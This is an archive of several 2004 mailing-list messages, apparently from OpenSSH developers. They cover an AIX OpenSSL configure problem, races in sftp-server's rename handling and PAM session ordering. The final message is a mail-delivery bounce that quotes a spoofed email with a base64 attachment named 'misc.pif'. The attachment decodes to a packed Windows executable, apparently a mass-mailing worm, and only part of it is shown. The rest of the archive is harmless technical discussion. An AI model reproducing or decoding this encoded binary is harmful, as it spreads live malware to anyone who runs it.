which u), which upload files first with a ".part" extension and then renames 
them removing this extension.



From r3r2 at yahoo.com  Tue Apr  6 07:56:41 2004
From: r3r2 at yahoo.com (Ryan Robertson)
Date: Mon, 5 Apr 2004 14:56:41 -0700 (PDT)
Subject: Config failure with 3.8p1 on AIX
In-Reply-To: <406E14BF.7070106@zip.com.au>
Message-ID: <20040405215641.77219.qmail@web10802.mail.yahoo.com>

OK, sorry to harp on an old subject, but AIX 5.1 ml05
cant find the OpenSSL libraries.  It can find the
headers just fine.

I've tried adding LDFLAGS & CPPFLAGS; different
openssl versions (rpm vs bff).  I tried adding links
to the files.  I tried running the findssl.sh script
which only returns the header info.  And I've tried
other things listed throughout this list.  Just
frustrated after wasting 2 days on this.  Any help is
always appreciated.
=============
# rpm -qa|grep ssl
openssl-0.9.6m-1
openssl-devel-0.9.6m-1
# gcc -v
Reading specs from
/usr/local/lib/gcc-lib/powerpc-ibm-aix4.3.3.0/3.3/specs
Configured with: ../gcc-3.3/configure
Thread model: aix
gcc version 3.3
=============
openssl installs to /opt/freeware.  Let me know if you
need addition output/info.

Thanks,
Ryan

__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway 
http://promotions.yahoo.com/design_giveaway/



From dtucker at zip.com.au  Tue Apr  6 08:11:39 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 06 Apr 2004 08:11:39 +1000
Subject: Config failure with 3.8p1 on AIX
In-Reply-To: <20040405215641.77219.qmail@web10802.mail.yahoo.com>
References: <20040405215641.77219.qmail@web10802.mail.yahoo.com>
Message-ID: <4071D99B.2070902@zip.com.au>

Ryan Robertson wrote:

> OK, sorry to harp on an old subject, but AIX 5.1 ml05
> cant find the OpenSSL libraries.  It can find the
> headers just fine.
[snip]
> openssl installs to /opt/freeware.  Let me know if you
> need addition output/info.

Try (all one line):
blibpath="/usr/lib:/lib:/opt/freeware/lib" ./configure 
--with-ssl-dir=/opt/freeware

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From dtucker at zip.com.au  Tue Apr  6 09:24:31 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 06 Apr 2004 09:24:31 +1000
Subject: link(2) to rename files in sftp
In-Reply-To: <20040405205043.GA26258@conectiva.com.br>
References: <20040405205043.GA26258@conectiva.com.br>
Message-ID: <4071EAAF.4000302@zip.com.au>

Andreas wrote:
> Is there an alternative to using link(2) to rename files in sftp-server?

There's an open bug for this:
http://bugzilla.mindrot.org/show_bug.cgi?id=823

According to the CVS log, the link shuffle is used to "fix races in 
rename/symlink" (revs 1.46 and 1.44).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From carson at taltos.org  Tue Apr  6 11:45:05 2004
From: carson at taltos.org (Carson Gaspar)
Date: Mon, 05 Apr 2004 21:45:05 -0400
Subject: link(2) to rename files in sftp
In-Reply-To: <4071EAAF.4000302@zip.com.au>
References: <20040405205043.GA26258@conectiva.com.br>
	<4071EAAF.4000302@zip.com.au>
Message-ID: <350320000.1081215905@taltos.ny.ficc.gs.com>

--On Tuesday, April 06, 2004 09:24:31 +1000 Darren Tucker 
<dtucker at zip.com.au> wrote:

> According to the CVS log, the link shuffle is used to "fix races in
> rename/symlink" (revs 1.46 and 1.44).

If rename() has a race condition, the OS is broken. Plain and simple.

-- 
Carson



From dtucker at zip.com.au  Tue Apr  6 12:00:57 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 06 Apr 2004 12:00:57 +1000
Subject: link(2) to rename files in sftp
In-Reply-To: <350320000.1081215905@taltos.ny.ficc.gs.com>
References: <20040405205043.GA26258@conectiva.com.br>	<4071EAAF.4000302@zip.com.au>
	<350320000.1081215905@taltos.ny.ficc.gs.com>
Message-ID: <40720F59.7020709@zip.com.au>

Carson Gaspar wrote:

> --On Tuesday, April 06, 2004 09:24:31 +1000 Darren Tucker 
> 
>> According to the CVS log, the link shuffle is used to "fix races in
>> rename/symlink" (revs 1.46 and 1.44).
> 
> If rename() has a race condition, the OS is broken. Plain and simple.

The original code for rename looked like the following:
     if (stat(newpath, &st) == -1) {
         ret = rename(oldpath, newpath);
         status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
     }

The idea is obviously to not clobber existing files, but the 
implementation is racy (hence the change, I guess).

I have no idea how to implement that portably for filesystems without 
Unix semantics without the race.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From markus at openbsd.org  Tue Apr  6 15:43:31 2004
From: markus at openbsd.org (Markus Friedl)
Date: Tue, 6 Apr 2004 07:43:31 +0200
Subject: link(2) to rename files in sftp
In-Reply-To: <350320000.1081215905@taltos.ny.ficc.gs.com>
References: <20040405205043.GA26258@conectiva.com.br>
	<4071EAAF.4000302@zip.com.au>
	<350320000.1081215905@taltos.ny.ficc.gs.com>
Message-ID: <20040406054331.GA14622@folly>

On Mon, Apr 05, 2004 at 09:45:05PM -0400, Carson Gaspar wrote:
> --On Tuesday, April 06, 2004 09:24:31 +1000 Darren Tucker 
> <dtucker at zip.com.au> wrote:
> 
> >According to the CVS log, the link shuffle is used to "fix races in
> >rename/symlink" (revs 1.46 and 1.44).
> 
> If rename() has a race condition, the OS is broken. Plain and simple.

not rename, but stat+rename.



From markus at openbsd.org  Tue Apr  6 15:45:15 2004
From: markus at openbsd.org (Markus Friedl)
Date: Tue, 6 Apr 2004 07:45:15 +0200
Subject: link(2) to rename files in sftp
In-Reply-To: <40720F59.7020709@zip.com.au>
	<20040405205043.GA26258@conectiva.com.br>
References: <20040405205043.GA26258@conectiva.com.br>
	<4071EAAF.4000302@zip.com.au>
	<350320000.1081215905@taltos.ny.ficc.gs.com>
	<40720F59.7020709@zip.com.au>
	<20040405205043.GA26258@conectiva.com.br>
Message-ID: <20040406054515.GB14622@folly>

> The original code for rename looked like the following:
>     if (stat(newpath, &st) == -1) {
>         ret = rename(oldpath, newpath);
>         status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
>     }
> 
> The idea is obviously to not clobber existing files, but the 
> implementation is racy (hence the change, I guess).
> 
> I have no idea how to implement that portably for filesystems without 
> Unix semantics without the race.

i think we should
	1) break the specification and just do rename(), or
	2) add a different message type, that just does rename().



From f_mohr at yahoo.de  Tue Apr  6 18:28:16 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Tue, 06 Apr 2004 10:28:16 +0200
Subject: different PAM/ssh server-session sequences for root and regular
	users?
Message-ID: <40726A20.70D8C94D@yahoo.de>

Hi

I just noticed different sequences of PAM/ssh-session calls.
(env: OpenSSH 3.8p1 on Linux with PAM-0.75)

The channel 0 (server-session) seems to be startet very early for root
and and after the pam-session is started for regular users.

As a result, regular users don't have a tty when the pam-session modules
are called.

Is this intended?

Frank



For root:

Apr  6 09:53:53 garfield2 sshd[16255]: (S 8) Found matching RSA key: ... 
Apr  6 09:53:53 garfield2 sshd[16255]: pam_log: pam_sm_acct_mgmt
Apr  6 09:53:53 garfield2 sshd[16255]: (S 8) Accepted publickey for root
from 127.0.0.1 port 47019
Apr  6 09:53:53 garfield2 sshd[16255]: (S 8) channel 0: new:
server-session, nchannels open: 1
Apr  6 09:53:53 garfield2 sshd[16255]: pam_log: pam_sm_setcred
Apr  6 09:53:53 garfield2 sshd[16257]: pam_log: pam_sm_open_session
Apr  6 09:54:03 garfield2 sshd[16257]: pam_log: pam_sm_setcred

For regular users:

Apr  6 10:14:59 garfield2 sshd[16311]: (S 9) Found matching RSA key: ...
Apr  6 10:14:59 garfield2 sshd[16311]: pam_log: pam_sm_acct_mgmt
Apr  6 10:14:59 garfield2 sshd[16311]: (S 9) Accepted publickey for
frank from 127.0.0.1 port 47023
Apr  6 10:14:59 garfield2 sshd[16314]: pam_log: pam_sm_open_session
Apr  6 10:14:59 garfield2 sshd[16314]: pam_log: pam_sm_setcred
Apr  6 10:14:59 garfield2 sshd[16314]: (S 9) channel 0: new:
server-session, nchannels open: 1



From dtucker at zip.com.au  Tue Apr  6 18:57:30 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 06 Apr 2004 18:57:30 +1000
Subject: different PAM/ssh server-session sequences for root and regular
 users?
In-Reply-To: <40726A20.70D8C94D@yahoo.de>
References: <40726A20.70D8C94D@yahoo.de>
Message-ID: <407270FA.602@zip.com.au>

Frank Mohr wrote:

> I just noticed different sequences of PAM/ssh-session calls.
> (env: OpenSSH 3.8p1 on Linux with PAM-0.75)
> 
> The channel 0 (server-session) seems to be startet very early for root
> and and after the pam-session is started for regular users.
> 
> As a result, regular users don't have a tty when the pam-session modules
> are called.
> 
> Is this intended?

The difference is probably PrivilegeSeparation.  Do the differences go 
away if you run sshd with "UsePrivilegeSeparation no" ?

 From memory, when root logs in there's no privsep process (no point), 
and for normal users the pty is not allocated (via the monitor) until 
quite late in the login process (after the PAM session modules run).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From djm at mindrot.org  Tue Apr  6 20:35:12 2004
From: djm at mindrot.org (Damien Miller)
Date: Tue, 06 Apr 2004 20:35:12 +1000
Subject: link(2) to rename files in sftp
In-Reply-To: <20040405205043.GA26258@conectiva.com.br>
References: <20040405205043.GA26258@conectiva.com.br>
Message-ID: <407287E0.1040308@mindrot.org>

Andreas wrote:
> Is there an alternative to using link(2) to rename files in sftp-server?
> 
> Some users use sftp to upload files to a vfat partition on an sftp-server,
> and then renaming doesn't work. This breaks konqueror, for example (from KDE,
> which u), which upload files first with a ".part" extension and then renames 
> them removing this extension.

See the discussion and patches in
http://bugzilla.mindrot.org/show_bug.cgi?id=823

The Linux behaviour of returning EPERM is just broken IMO. It should be
something like EOPNOTSUPP.

-d



From MAILER-DAEMON at destro.sparkart.net  Tue Apr  6 21:59:10 2004
From: MAILER-DAEMON at destro.sparkart.net (MAILER-DAEMON at destro.sparkart.net)
Date: 6 Apr 2004 04:59:10 -0700
Subject: failure notice
Message-ID: <20040406115908.17B8F27C188@shitei.mindrot.org>

Hi. This is the qmail-send program at destro.sparkart.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<security at linkinpark.com>:
Sorry, no mailbox here by that name. vpopmail (#5.1.1)

--- Below this line is a copy of the message.

Return-Path: <openssh-unix-dev at mindrot.org>
Received: (qmail 9011 invoked from network); 6 Apr 2004 04:59:08 -0700
Received: from unknown (HELO linkinpark.com) (195.205.206.254)
  by destro.sparkart.net with SMTP; 6 Apr 2004 04:59:08 -0700
From: openssh-unix-dev at mindrot.org
To: security at linkinpark.com
Subject: unknown
Date: Tue, 6 Apr 2004 13:59:09 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="57264314"

--57264314
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

here it is

--57264314
Content-Type: application/octet-stream; name="misc.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="misc.pif"

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
